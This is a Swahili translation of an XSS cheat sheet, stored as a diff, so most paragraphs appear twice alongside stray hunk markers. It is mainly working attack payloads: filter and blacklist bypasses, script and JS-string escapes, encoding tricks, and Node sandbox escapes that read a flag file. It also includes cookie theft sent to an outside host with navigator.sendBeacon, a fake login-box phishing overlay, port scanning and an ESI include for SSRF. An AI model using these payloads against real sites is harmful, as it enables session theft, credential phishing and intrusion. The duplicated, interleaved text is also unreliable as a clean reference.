**Vidokezo vilivyokodishwa vya HTML** ndani ya thamani ya sifa za vitambulisho vya HTML vinakodishwa wakati wa uendeshaji. Kwa hivyo kitu kama hicho kitakuwa halali (mzigo uko kwa herufi nene): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi </a>`
Tafadhali kumbuka **aina yoyote ya uendeshaji wa HTML ni halali**:
Tafadhali kumbuka kwamba **aina yoyote ya uendeshaji wa HTML ni halali**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -349,7 +349,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Mbinu nyingine za kuficha**
_**Katika kesi hii, ujazo wa HTML na mbinu ya ujazo wa Unicode kutoka sehemu iliyopita ni sahihi pia kwani uko ndani ya sifa.**_
_**Katika kesi hii, kuficha kwa HTML na kuficha kwa Unicode kutoka kwenye sehemu iliyopita ni sahihi pia kwani uko ndani ya sifa.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
@ -379,16 +379,16 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
```javascript
<a target="_blank" rel="opener"
```
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangilio ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao kuchexploit tabia hii**:
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangilio ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao kudanganya tabia hii**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### Kwenye Wapitishaji wa Tukio Bypass
### Kwenye Mabwawa ya Tukio
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" wapitishaji wa tukio** wenye manufaa.\
Kwa hali ambapo kuna orodha nyeusi inayozuia kutengeneza wapitishaji hawa hata unaweza kujaribu kubadilisha:
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" mabwawa ya tukio** yanayoweza kutumika.\
Kwa hali ambapo kuna orodha nyeusi inayozuia kutengeneza mabwawa haya hata hivyo, unaweza kujaribu njia zifuatazo za kudukua:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -403,14 +403,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS katika "Vitambulisho visivyoweza kudukuliwa" (kuingiza siri, kiungo, kanoni, meta)
### XSS katika "Tags zisizoweza kudukuliwa" (hidden input, link, canonical, meta)
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibali vilivyofichwa na:**
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya vitambulisho vilivyofichwa kama:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
```
Na kwenye **meta tags**:
Na katika **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
@ -418,7 +418,7 @@ Na kwenye **meta tags**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kumshawishi** **mlemavu** kubonyeza **kombinisheni ya funguo**. Kwenye Firefox Windows/Linux kombinisheni ya funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubainisha kombinisheni tofauti ya funguo kwa kutumia funguo tofauti katika sifa ya ufikivu. Hapa kuna vector:
Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kumshawishi** **mlemavu** kubonyeza **kombinasi ya funguo**. Kwenye Firefox Windows/Linux kombinasi ya funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubainisha kombinasi tofauti ya funguo kwa kutumia funguo tofauti katika sifa ya ufikivu. Hapa kuna vector:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -426,7 +426,7 @@ Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields):
### Kuepuka Orodha ya Kupiga marufuku
Mbinu kadhaa za kutumia nambari tofauti za encoding tayari zimefunuliwa ndani ya sehemu hii. Rudi nyuma kujifunza unaweza kutumia wapi:
Mbinu kadhaa za kutumia nambari tofauti za kuweka zilifunuliwa tayari ndani ya sehemu hii. Rudi nyuma kujifunza unaweza kutumia wapi:
* **Ukodishaji wa HTML (lebo za HTML)**
* **Ukodishaji wa Unicode (inaweza kuwa nambari halali ya JS):** `\u0061lert(1)`
@ -436,17 +436,17 @@ Mbinu kadhaa za kutumia nambari tofauti za encoding tayari zimefunuliwa ndani ya
**Kuepuka kwa lebo na sifa za HTML**
Soma [Kuepuka Orodha ya Kupiga marufuku ya sehemu iliyopita](./#blacklist-bypasses).
Soma[ Kuepuka kwa Orodha ya Kupiga marufuku ya sehemu iliyopita](./#blacklist-bypasses).
**Kuepuka kwa nambari ya JavaScript**
Soma [Kuepuka kwa Kupiga marufuku ya JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
Soma[ Kuepuka kwa Orodha ya Kupiga marufuku ya JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo chini kwenye mguu wa ukurasa na kipengele cha onmouseover), unaweza **kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanya kazi.
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo chini ya kichwa chenye kipengele cha onmouseover), unaweza **kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo kufanya kazi.
Kwa mfano, unaweza kuongeza mtindo fulani kwenye kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Kwa mfano, unaweza kuongeza mtindo fulani kwenye kipengele kama hiki: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano
@ -464,7 +464,7 @@ Hila hii ilitolewa kutoka [https://medium.com/@skavans\_/improving-the-impact-of
## Kuingiza ndani ya nambari ya JavaScript
Katika kesi hizi **kuingiza** yako itakuwa **inajitokeza ndani ya nambari ya JS** ya faili ya `.js` au kati ya `<script>...</script>` tags au kati ya matukio ya HTML ambayo yanaweza kutekeleza nambari ya JS au kati ya sifa ambazo zinakubali itifaki ya `javascript:`.
Katika kesi hizi **kuingiza** yako itakuwa **inajitokeza ndani ya nambari ya JS** ya faili ya `.js` au kati ya `<script>...</script>` lebo au kati ya matukio ya HTML ambayo yanaweza kutekeleza nambari ya JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
### Kuepuka lebo ya \<script>
@ -472,11 +472,11 @@ Ikiwa nambari yako imeingizwa ndani ya `<script> [...] var input = 'data inayoji
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Tafadhali elewa kwamba katika mfano huu **hatujafunga alama ya nukta moja**. Hii ni kwa sababu **uparaganyaji wa HTML hufanywa kwanza na kivinjari**, ambayo inajumuisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vitalu vya script. Uparaganyaji wa JavaScript kuelewa na kutekeleza mistari iliyofungwa hufanywa baadaye.
Tafadhali elewa kwamba katika mfano huu **hatujafunga alama ya nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML hufanywa kwanza na kivinjari**, ambao unajumuisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vitalu vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza mistari iliyofungwa ndani ya script hufanywa baadaye.
### Ndani ya msimbo wa JS
Ikiwa `<>` inasanitizwa unaweza bado **kutoroka kutoka kwa herufi** ambapo mwingiliano wako uko **umejumuishwa** na **kutekeleza JS ya kupindukia**. Ni muhimu **kurekebisha muundo wa JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
Ikiwa `<>` inasanitizwa unaweza bado **kutoroka kutoka kwa herufi** ambapo matokeo yako yanapatikana na **kutekeleza JS ya kupindukia**. Ni muhimu **kurekebisha muundo wa JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -484,9 +484,9 @@ Ikiwa `<>` inasanitizwa unaweza bado **kutoroka kutoka kwa herufi** ambapo mwing
```
### Template literals \`\`
Ili kujenga **maneno** mbali na alama za nukta moja na mbili, JS pia inakubali **alama ya kurudi nyuma** **` `` `** . Hii inajulikana kama template literals kwani inaruhusu **kuweka eshesheni za JS** kwa kutumia sintaksia `${ ... }`.
Ili kujenga **maneno** mbali na alama za nukta moja na mbili, JS pia inakubali **alama ya kurudi nyuma** **` `` `** . Hii inajulikana kama template literals kwani inaruhusu **kuweka JS expressions** kwa kutumia sintaksia `${ ... }`.
Kwa hivyo, ikiwa utagundua kuwa matokeo yako yanarudi ndani ya neno la JS linalotumia alama ya kurudi nyuma, unaweza kutumia sintaksia `${ ... }` kutekeleza **msimbo wa JS wa kiholela**:
Kwa hivyo, ikiwa utagundua kuwa matokeo yako yanajitokeza ndani ya maneno ya JS yanayotumia alama ya kurudi nyuma, unaweza kutumia sintaksia `${ ... }` kutekeleza **mimba ya JS code**:
Hii inaweza **kutumiwa vibaya** kwa kutumia:
```javascript
@ -499,16 +499,14 @@ Hii inaweza **kutumiwa vibaya** kwa kutumia:
function loop(){return loop}
loop``````````````
```````````````
### Utekelezaji wa nambari iliyofichwa
### Utekelezaji wa kanuni iliyohifadhiwa
```markup
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
```
### Unicode Encode JS execution
### Ufanyaji wa JS wa Unicode wa Encode
### Kubadilisha Unicode JS utekelezaji
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -533,7 +531,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
```
**Kutoroka Maalum**
**Kutoroka maalum**
```javascript
'\b' //backspace
'\f' //form feed
@ -547,7 +545,7 @@ eval(8680439..toString(30))(983801..toString(36))
'\t' //tab
// Any other char escaped is just itself
```
**Badiliko la nafasi ndani ya msimbo wa JS**
**Badilisha nafasi ndani ya msimbo wa JS**
```javascript
<TAB>
/**/
@ -560,7 +558,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Mstari mpya wa JavaScript (kutoka** [**Mstari mpya wa JavaScript**](./#javascript-new-lines) **udanganyifu)**
**Mstari mpya wa JavaScript (kutoka** [**Mstari mpya wa JavaScript**](./#javascript-new-lines) **hila)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -733,20 +731,20 @@ top[8680439..toString(30)](1)
## **Mazingira ya DOM**
Kuna **msimbo wa JS** unaotumia **data isiyolindwa na mshambuliaji** kama vile `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa kupindukia.\
**Kutokana na upanuzi wa maelezo ya** [**mazingira ya DOM yalihama kwenye ukurasa huu**](dom-xss.md)**:**
**Kutokana na upanuzi wa maelezo ya** [**mazingira ya DOM vulnerabilities ilisogezwa kwenye ukurasa huu**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Huko utapata **maelezo ya kina kuhusu ni nini mazingira ya DOM, yanachochochewa, na jinsi ya kuyatumia**.\
Huko utapata **maelezo ya kina kuhusu ni nini mazingira ya DOM vulnerabilities, jinsi yanavyosababishwa, na jinsi ya kuzitumia**.\
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**mashambulizi ya DOM Clobbering**](dom-xss.md#dom-clobbering).
## Njia Nyingine za Kupita
### Unicode Iliyopangiliwa
### Unicode iliyonormalishwa
Unaweza kuangalia ikiwa **thamani zilizorudishwa** zinapitia **upangilishaji wa unicode** kwenye seva (au upande wa mteja) na kutumia hii kukiuka ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
Unaweza kuangalia ikiwa **thamani zilizorudishwa** zinanormalishwa kwa unicode kwenye seva (au upande wa mteja) na kutumia hii kukiuka ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
### Kupita Kizuizi cha PHP FILTER\_VALIDATE\_EMAIL
```javascript
@ -755,11 +753,11 @@ Unaweza kuangalia ikiwa **thamani zilizorudishwa** zinapitia **upangilishaji wa
### Kupita kwa Ruby-On-Rails
Kutokana na **RoR utoaji wa wingi** alama za nukta zinaingizwa kwenye HTML na kisha kizuizi cha nukta kinapuuzwa na uga wa ziada (onfocus) unaweza kuongezwa ndani ya lebo.\
Fomu mfano ([kutoka ripoti hii](https://hackerone.com/reports/709336)), ikiwa unatuma mzigo:
Mfano wa fomu ([kutoka kwenye ripoti hii](https://hackerone.com/reports/709336)), ikiwa unatuma mzigo:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Mfano wa jozi "Key","Value" utarudishwa kama hivi:
Mchanganyiko wa "Key", "Value" utarudishwa kama hivi:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -797,22 +795,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS na uingizaji wa kichwa katika jibu la 302
Ikiwa utagundua kuwa unaweza **kuingiza vichwa katika jibu la Uelekezaji wa 302**, unaweza kujaribu **kuifanya kivinjari kutekeleza JavaScript ya kupindukia**. Hii sio **jambo rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, kwa hivyo mzigo wa upelekaji wa tovuti wa msalaba ni bure.
Ikiwa utagundua kuwa unaweza **kuingiza vichwa katika jibu la Kuelekeza 302** unaweza kujaribu **kuifanya kivinjari kutekeleza JavaScript ya kupindukia**. Hii si **rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, hivyo payload ya udukuzi wa tovuti ni bure.
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii nyingine**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza jaribu itifaki kadhaa ndani ya kichwa cha Mahali na uone ikiwa yoyote kati yao inaruhusu kivinjari kutathmini na kutekeleza mzigo wa XSS ndani ya mwili.\
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii nyingine**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza jaribu itifaki kadhaa ndani ya kichwa cha Mahali na uone ikiwa yoyote kati yao inaruhusu kivinjari kutafuta na kutekeleza payload ya XSS ndani ya mwili.\
Itifaki zilizojulikana hapo awali: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Mahali kilicho wazi_, `resource://`.
### Barua, Nambari na Dots Pekee
Ikiwa unaweza kuonyesha **wito wa nyuma** ambao javascript ita**tekeleza** ukilazimishwa kwa wahusika hao tu. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili ujue jinsi ya kutumia tabia hii.
Ikiwa unaweza kuonyesha **wito wa kurudi** ambao javascript ita**tekeleza** ukilimimtwa kwa wahusika hao tu. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili ujue jinsi ya kutumia tabia hii.
### Aina za Yaliyomo Halali ya `<script>` kwa XSS
### Aina Halali za Yaliyomo `<script>` kwa XSS
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia skripti na **aina ya yaliyomo** kama vile `application/octet-stream`, Chrome itatoa kosa lifuatalo:
> Imekataa kutekeleza skripti kutoka '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') kwa sababu aina yake ya MIME ('application/octet-stream') haiwezi kutekelezwa, na uchunguzi wa aina ya MIME ulio kali umewezeshwa.
Aina pekee za **Yaliyomo** ambazo zitasaidia Chrome kutekeleza **skripti iliyopakiwa** ni zile ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
Aina pekee za **Yaliyomo** ambazo zitasaidia Chrome kutekeleza **skripti iliyopakiwa** ni zile ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -870,7 +868,7 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Hii tabia ilitumika katika [**makala hii**](https://github.com/zwade/yaca/tree/master/solution) kurekebisha maktaba kwa eval ili kuitumia kusababisha XSS.
Hii tabia ilitumika katika [**makala hii**](https://github.com/zwade/yaca/tree/master/solution) kurekebisha maktaba kwa eval kuitumia na kusababisha XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki kimsingi ni kutatua baadhi ya matatizo yanayosababishwa na upyaishaji wa awali. Inafanya kazi kama ifuatavyo:
```html
@ -897,15 +895,15 @@ Hii tabia ilitumika katika [**makala hii**](https://github.com/zwade/yaca/tree/m
* application/xml
* text/xml
* image/svg+xml
* text/plain (?? sio kwenye orodha lakini nadhani nimeiona katika CTF)
* text/plain (?? sio kwenye orodha lakini nadhani nimeona hii kwenye CTF)
* application/rss+xml (lemaza)
* application/atom+xml (lemaza)
Katika vivinjari vingine **`Aina za Yaliyomo`** zingine zinaweza kutumika kutekeleza JS ya kupindukia, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Kwenye vivinjari vingine **`Aina-za-Yaliyomo`** zingine zinaweza kutumika kutekeleza JS ya kiholela, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### Aina ya Yaliyomo ya xml
Ikiwa ukurasa unarudisha aina ya yaliyomo ya text/xml, inawezekana kuonyesha nafasi ya majina na kutekeleza JS ya kupindukia:
Ikiwa ukurasa unarudisha aina ya yaliyomo ya text/xml, inawezekana kuonyesha nafasi ya majina na kutekeleza JS ya kiholela:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -913,11 +911,11 @@ Ikiwa ukurasa unarudisha aina ya yaliyomo ya text/xml, inawezekana kuonyesha naf
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Mifano Ma Kipekee ya Badiliko
### Mifano Ma Kipekee ya Kubadilisha
Wakati kitu kama **`"baadhi ya {{template}} data".replace("{{template}}", <user_input>)`** inapotumika. Mshambuliaji anaweza kutumia [**mbadala maalum wa herufi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kukiuka baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Wakati kitu kama **`"baadhi ya {{template}} data".replace("{{template}}", <user_input>)`** inapotumiwa. Mshambuliaji anaweza kutumia [**mbadala maalum wa herufi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kukiuka baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Kwa mfano katika [**hii andishi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika kusafisha herufi ya JSON ndani ya script na kutekeleza nambari ya aina yoyote.
Kwa mfano katika [**hii andishi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika kusafisha herufi za JSON ndani ya script na kutekeleza nambari za aina yoyote.
### Kuhifadhi Cache ya Chrome kwa XSS
@ -958,7 +956,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Ikiwa **kila kitu hakina ufafanuzi** kabla ya kutekeleza nambari isiyosadikika (kama ilivyo katika [**makala hii**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), inawezekana kuzalisha vitu vya kutumika "kutoka hakuna" kwa kudhuru utekelezaji wa nambari isiyosadikika:
Ikiwa **kila kitu hakina ufafanuzi** kabla ya kutekeleza nambari isiyosadikika (kama ilivyo katika [**hii andishi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) inawezekana kuzalisha vitu vya kutumika "kutoka hakuna" kwa kudhuru utekelezaji wa nambari isiyosadikika:
* Kutumia import()
```javascript
@ -967,7 +965,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Kupata `require` kwa njia isiyo ya moja kwa moja
[Kulingana na hii](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zinawekwa ndani ya Node.js ndani ya kazi, kama hivi:
[Kulingana na hii](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zinazofungwa na Node.js ndani ya kazi, kama hivi:
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -981,7 +979,7 @@ Kwa hivyo, ikiwa kutoka kwa moduli hiyo tunaweza **kuita kazi nyingine**, ni rah
```
{% endcode %}
Kwa njia kama ile ya mfano uliopita, ni **inawezekana kutumia wachambuzi wa makosa** kupata **mfuko** wa moduli na kupata kazi ya **`require`**:
Kwa njia sawa na mfano uliopita, ni **inawezekana kutumia wachambuzi wa makosa** kufikia **mfuko** wa moduli na kupata kazi ya **`require`**:
```javascript
try {
null.f()
@ -1055,7 +1053,7 @@ trigger()
```
## XSS mizigo ya kawaida
### Mzigo wa mizigo kadhaa
### Mzigo wa mizigo kadhaa ndani ya 1
{% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md)
@ -1084,7 +1082,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
Hutaweza **kupata upatikanaji wa vidakuzi kutoka JavaScript** ikiwa bendera ya HTTPOnly imewekwa kwenye kuki. Lakini hapa una [njia kadhaa za kuzidisha ulinzi huu](../hacking-with-cookies/#httponly) ikiwa una bahati ya kutosha.
Hutaweza **kupata upatikanaji wa vidakuzi kutoka JavaScript** ikiwa bendera ya HTTPOnly imewekwa kwenye kuki. Lakini hapa una [njia kadhaa za kuzunguka ulinzi huu](../hacking-with-cookies/#httponly) ikiwa una bahati ya kutosha.
{% endhint %}
### Pora Yaliyomo ya Ukurasa
@ -1165,11 +1163,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Muda mfupi unaashiria bandari inayojibu_ _Muda mrefu unaashiria kukosa majibu._
_Muda mfupi unaashiria bandari inayojibu_ _Muda mrefu unaashiria kutokuwepo kwa jibu._
Pitia orodha ya bandari zilizopigwa marufuku kwenye Chrome [**hapa**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) na kwenye Firefox [**hapa**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Kisanduku cha kuomba sifa za kibali
### Kisanduku cha kuomba sifa za kuingia
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1278,7 +1276,7 @@ Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
```
### Regex - Pata Maudhui Yaliyofichwa
Kutoka [**hapa**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinaondoka kutoka kwenye JS, bado inawezekana kuzipata katika sifa za JS katika vitu tofauti. Kwa mfano, kuingiza REGEX bado inawezekana kuzipata baada ya thamani ya kuingiza ya regex kuondolewa:
Kutoka [**hapa**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinaondoka kutoka kwenye JS, bado inawezekana kuzipata katika sifa za JS katika vitu tofauti. Kwa mfano, kuingiza REGEX bado inawezekana kuzipata hata baada ya thamani ya kuingiza ya regex kuondolewa:
```javascript
// Do regex with flag
flag="CTF{FLAG}"
@ -1297,7 +1295,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
## XSS Kutumia Ubaguzi Mwingine wa Usalama
## XSS Kutumia Ubaguzi Mwingine wa Udhaifu
### XSS katika Markdown
@ -1309,17 +1307,17 @@ Je! Unaweza kuingiza nambari ya Markdown ambayo itaonyeshwa? Labda unaweza kupat
### XSS hadi SSRF
Je! Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha kuwa SSRF** kupitia Uvamizi wa Kuingiza Kando ya Edge Side na mzigo huu:
Je! Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hadi SSRF** kupitia Uingizaji wa Kando ya Edge Side na mzigo huu:
```python
<esi:include src="http://yoursite.com/capture" />
```
Tumia hiyo kukiuka vizuizi vya kuki, vichujio vya XSS na mengi zaidi!\
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
Maelezo zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS katika PDF iliyoundwa kwa njia ya kudumu
Ikiwa ukurasa wa wavuti unazalisha PDF kwa kutumia kuingiza inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** ambayo inaunda PDF kutekeleza **msimbo wa JS wa kupindukia**.\
Kwa hivyo, ikiwa **boti ya muundaji wa PDF inapata** aina fulani ya **vitambulisho vya HTML**, ita**tuma** vitambulisho hivyo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
Ikiwa ukurasa wa wavuti unazalisha PDF kwa kutumia kuingiza inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** ambayo inazalisha PDF kutekeleza **msimbo wa JS wa kupendelea**.\
Kwa hivyo, ikiwa **boti ya muundaji wa PDF inapata** aina fulani ya **vitambulisho vya HTML**, ita**tuma** kuyachambua, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1333,15 +1331,15 @@ Ikiwa huwezi kuingiza vitambulisho vya HTML inaweza kuwa na thamani ya kujaribu
### XSS katika Amp4Email
AMP, ikilenga kuharakisha utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha vitambulisho vya HTML vilivyosaidiwa na JavaScript kuhakikisha utendaji kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengee kwa huduma mbalimbali, inayopatikana kupitia [vipengee vya AMP](https://amp.dev/documentation/components/?format=websites).
